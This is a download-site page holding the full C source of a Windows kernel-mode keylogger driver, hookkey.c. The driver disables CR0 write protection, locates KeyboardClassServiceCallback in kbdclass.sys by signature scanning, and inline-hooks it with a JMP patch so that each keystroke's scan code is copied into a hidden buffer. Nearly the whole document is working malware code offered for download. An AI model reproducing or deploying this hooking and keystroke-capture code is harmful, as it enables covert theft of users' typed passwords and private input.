⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hookkey.c

📁 Inline hook KeyboardClassServiceCallback 实现键盘记录
💻 C
字号:
#include <ntddk.h>
//#include <ntifs.h>
#include <windef.h>

#include "HookKey.h"
#include "struct.h"
#include <ntddkbd.h>
#define MAXBUF 0x15//存储键盘扫描码的缓冲区,其中第一字节为当前存储位置,
ULONG g_OldFunction;
ULONG g_uCr0;

BYTE g_HookCode[5] = { 0xe9, 0, 0, 0, 0 };
BYTE g_OrigCode[5] = { 0 }; // 原函数的前字节内容
BYTE jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //因为是长转移,所以有个 0x08
PDEVICE_OBJECT pDevObj;
BOOL g_bHooked = FALSE;
int KeyCode=0;
PVOID hPageDataSection;
PVOID KeyBuf;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
VOID  ReadKeyBuf();
VOID  ChangeFake_Function();
VOID
fake_OldFunction (
				  PDEVICE_OBJECT  DeviceObject,
				  PKEYBOARD_INPUT_DATA  InputDataStart,
				  PKEYBOARD_INPUT_DATA  InputDataEnd,
				  PULONG  InputDataConsumed
				  );
#ifdef ALLOC_PRAGMA
#pragma alloc_text(NONPAGED, fake_OldFunction)
#endif 


    
VOID
Proxy_OldFunction (
PDEVICE_OBJECT  DeviceObject,
PKEYBOARD_INPUT_DATA  InputDataStart,
PKEYBOARD_INPUT_DATA  InputDataEnd,
PULONG  InputDataConsumed
    );
typedef VOID
(*My_KeyboardClassServiceCallback) (
									PDEVICE_OBJECT  DeviceObject,
									PKEYBOARD_INPUT_DATA  InputDataStart,
									PKEYBOARD_INPUT_DATA  InputDataEnd,
									PULONG  InputDataConsumed
									);
My_KeyboardClassServiceCallback orig_KeyboardClassServiceCallback = NULL;
void WPOFF()
{
   
    ULONG uAttr;
   
    _asm
    {
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
        cli
    };
   
    g_uCr0 = uAttr; //保存原有的 CRO 屬性
   
}

VOID WPON()
{
   
    _asm
    {
        sti
        push eax;
        mov eax, g_uCr0; //恢復原有 CR0 屬性
        mov cr0, eax;
        pop eax;
    };
   
}


//
// 停止inline hook
//
VOID UnHookOldFunction ()
{
    KIRQL  oldIrql;

    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
    
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_OrigCode, 5 );

    KeLowerIrql(oldIrql);
    WPON();

    g_bHooked = FALSE;
}


//
// 开始inline hook --  OldFunction
//
VOID HookOldFunction ()
{ 
    KIRQL  oldIrql;

    if (g_OldFunction == 0) {
        DbgPrint("OldFunction == NULL\n");
        return;
    }

    //DbgPrint("开始inline hook --  OldFunction\n");
    DbgPrint( "OldFunction的地址t0x%08x\n", (ULONG)g_OldFunction );
    // 保存原函数的前字节内容
    RtlCopyMemory (g_OrigCode, (BYTE*)g_OldFunction, 5);//★
    *( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_OldFunction - (ULONG)g_OldFunction - 5;//★
    
    
    // 禁止系统写保护,提升IRQL到DPC
    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
 
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_HookCode, 5 );
    *( (ULONG*)(jmp_orig_code + 1) ) = (ULONG) ( (BYTE*)g_OldFunction + 5 );//★
    
    RtlCopyMemory ( (BYTE*)Proxy_OldFunction, g_OrigCode, 5);//修改Proxy_OldFunction函数头
    RtlCopyMemory ( (BYTE*)Proxy_OldFunction + 5, jmp_orig_code, 7);

    // 恢复写保护,降低IRQL
    KeLowerIrql(oldIrql);
    WPON();

    g_bHooked = TRUE;
    
    
}
VOID  ChangeFake_Function()
{ 
	KIRQL  oldIrql;
	int i;
	ULONG addr=(ULONG)fake_OldFunction;

	ULONG code_fill=0xAAAAAAAA;
	DbgPrint("fake_OldFunction:%x",addr);
	WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
    for (i=0;i<0x200;i++)
    {
		if (*((ULONG*)(addr+i))==code_fill)
		{
			DbgPrint("AAAAAAAA Finded:%x",KeyBuf);
			*((ULONG*)(addr+i))=(ULONG)KeyBuf;
		}
		
    }
	DbgPrint("AAAAAAAA:%x",*((ULONG*)(addr+i))  );
    KeLowerIrql(oldIrql);
    WPON();

}
VOID  ReadKeyBuf()
{
	BYTE Index=*(BYTE*)KeyBuf;
	BYTE i,j;
//	BYTE _Buf[MAXBUF];
	
	for (i=0;i<MAXBUF;i++)
    {
		DbgPrint("Key Code:%x",*(BYTE*)((BYTE*)KeyBuf+i));
	}

}
//
// 跳转到我们的函数里面进行预处理
//

__declspec (naked) 
VOID
fake_OldFunction (
PDEVICE_OBJECT  DeviceObject,
PKEYBOARD_INPUT_DATA  InputDataStart,
PKEYBOARD_INPUT_DATA  InputDataEnd,
PULONG  InputDataConsumed
    )
{
  
    
	__asm
    {
 		push    eax
        push    ebx
        push    ecx
		push    esi
		xor     esi,esi
		mov     eax, [0xAAAAAAAA];
		mov     ebx, [esp+0x18]
	  //movzx   ecx, word ptr [ebx-20]//+2
		mov     cl , byte ptr [ebx+2];//按键码
        mov     ch , byte ptr [eax];//得到当前位置->ch
        cmp     ch , MAXBUF
		jnz     NotLastPlace
		mov     ch,  0x0;

NotLastPlace:
		inc     ch
		movzx   si,ch
		mov     byte ptr [eax],    ch 
        mov     byte ptr [eax+esi],cl 
		
        pop esi
 		pop ecx
 		pop ebx
 		pop eax
		jmp Proxy_OldFunction   ;//★在这一系列JMP中,没有一处使用CALL,简化了代码,增强了稳定性
    }
}

//
// 代理函数,负责跳转到原函数中继续执行
//
__declspec (naked) 
VOID
Proxy_OldFunction (
    PDEVICE_OBJECT  DeviceObject,
    PKEYBOARD_INPUT_DATA  InputDataStart,
    PKEYBOARD_INPUT_DATA  InputDataEnd,
    PULONG  InputDataConsumed
    )
{
  
    __asm {  // 共字节
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90  // 前字节实现原函数的头字节功能
            _emit 0x90  // 这个填充jmp
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90  // 这字节保存原函数+5处的地址
            _emit 0x90  
            _emit 0x90  // 因为是长转移,所以必须是0x0080
    }
}



//////////////////////////////////////////////////////////////////////////


PVOID 
GetModlueBaseAdress(
					char* ModlueName,
					BOOL bKernelBase
					)
{
	ULONG size,index;
	PULONG buf;
	NTSTATUS status;
	PSYSTEM_MODULE_INFORMATION module;
	PVOID driverAddress=0;
	
	ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
	if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){
		DbgPrint("failed alloc memory failed \n");
		return 0;
	}
	
	status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
	if(!NT_SUCCESS( status )) {
		DbgPrint("failed query\n");
		return 0;
	}
	
	module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
	
	// 系统模块基址
	if ( TRUE == bKernelBase )
	{
		driverAddress = module[0].Base;
		DbgPrint("KernelBase:%x\n",driverAddress);
		goto _x_;
	}
	
	// 其他模块基址
	for (index = 0; index < *buf; index++) {
		if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, ModlueName) == 0) 
		{
			driverAddress = module[index].Base;
			DbgPrint("Module found at:%x\n",driverAddress);
			goto _x_;
		}
	}
	
_x_:		
	ExFreePool(buf);
	return driverAddress;
}


ULONG GetFunctionAddr( IN PCWSTR FunctionName)
{
    UNICODE_STRING UniCodeFunctionName;
    RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
    return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );   

}

//根据特征值,搜索OldFunction
ULONG FindOldFunctionAddress()
{

	NTSTATUS status = STATUS_SUCCESS;
	UNICODE_STRING ustrLinkName;
	UNICODE_STRING ustrDevName;    
	PDEVICE_OBJECT pDevObj;
	ULONG i, curAddr;
	PUCHAR FileContent;
	DWORD dwRet,dwSize;
	PVOID pTmp;
    LARGE_INTEGER timeout;
	KEVENT Kevent;
	ULONG g_kbdclass_base ;
	ULONG g_lpKbdServiceCallback ;
	PDEVICE_OBJECT g_kbDeviceObject = NULL;
    KEYBOARD_INPUT_DATA kid;
	ULONG Addr_OldFunction = 0;
	ULONG code1_sp2=0x8b55ff8b, code2_sp2=0x8b5151ec, code3_sp2=0x65830845,code4_sp2=0x8b530008;
    //KbdInit();
	g_kbdclass_base = (ULONG)GetModlueBaseAdress( "kbdclass.sys",0 );
	DbgPrint("kbdclass.sys: 0x%08lx\n", (PVOID)g_kbdclass_base);
	
	if ( 0 == g_kbdclass_base ) {
		DbgPrint("ERROR: g_kbdclass_base == 0\n");
		return STATUS_SUCCESS;
	}
	
	curAddr = g_kbdclass_base;
	//	DbgPrint("curAddr: 0x%08lx\n", curAddr);
	for (i=curAddr;i<=curAddr+0x2000;i++)
	{
		//	DbgPrint("i: 0x%08lx\n", i);
		if (*((ULONG *)i)==code1_sp2) {
			if (*((ULONG *)(i+4))==code2_sp2) {
				if (*((ULONG *)(i+8))==code3_sp2) {
					if (*((ULONG *)(i+12))==code4_sp2) {
						g_lpKbdServiceCallback=i;
						break ;
					}
				}
			}
		}
	}
	
	Addr_OldFunction = (ULONG)g_lpKbdServiceCallback;
	DbgPrint("KeyboardClassServiceCallback: 0x%08lx\n", (PVOID)g_lpKbdServiceCallback);
	//DbgPrint("g_kbDeviceObject: 0x%08lx\n", (PVOID)g_kbDeviceObject);

	return Addr_OldFunction;
}


VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{

  UNICODE_STRING strLink;
  RtlInitUnicodeString(&strLink, L"\\DosDevices\\devHookKey");
  

  DbgPrint("My Driver Unloaded!");
  DbgPrint("MyKeyboardClassServiceCallback invoked: %x",KeyCode);

  ReadKeyBuf();
  ExFreePool(KeyBuf);
  IoDeleteSymbolicLink(&strLink);
  IoDeleteDevice(DriverObject->DeviceObject);

  UnHookOldFunction();
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  NTSTATUS status = STATUS_SUCCESS;
  UNICODE_STRING ustrLinkName;
  UNICODE_STRING ustrDevName;    
  DWORD dwSize,dwRet;
  PVOID pTmp;
  KEYBOARD_INPUT_DATA kid;
  DbgPrint("My Driver Loaded!");
  theDriverObject->DriverUnload = OnUnload;
    
  RtlInitUnicodeString(&ustrDevName, L"\\Device\\devHookKey");
  status = IoCreateDevice(theDriverObject, 
	  0,
	  &ustrDevName, 
	  FILE_DEVICE_UNKNOWN,
	  0,
	  FALSE,
	  &pDevObj);
  
  if(!NT_SUCCESS(status))	{
	  DbgPrint("IoCreateDevice = 0x%x\n", status);
	  return status;
  }
  
  RtlInitUnicodeString(&ustrLinkName, L"\\DosDevices\\devHookKey");
  status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);  
  if(!NT_SUCCESS(status)) {
	  DbgPrint("IoCreateSymbolicLink = 0x%x\n", status);
	  IoDeleteDevice(pDevObj);  
	  return status;
	}


  KeyBuf=(PVOID)ExAllocatePool( NonPagedPool,MAXBUF+2);
  *((BYTE*)KeyBuf)=0x0;

  ChangeFake_Function();
  g_OldFunction = FindOldFunctionAddress();
  HookOldFunction();

  return STATUS_SUCCESS;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -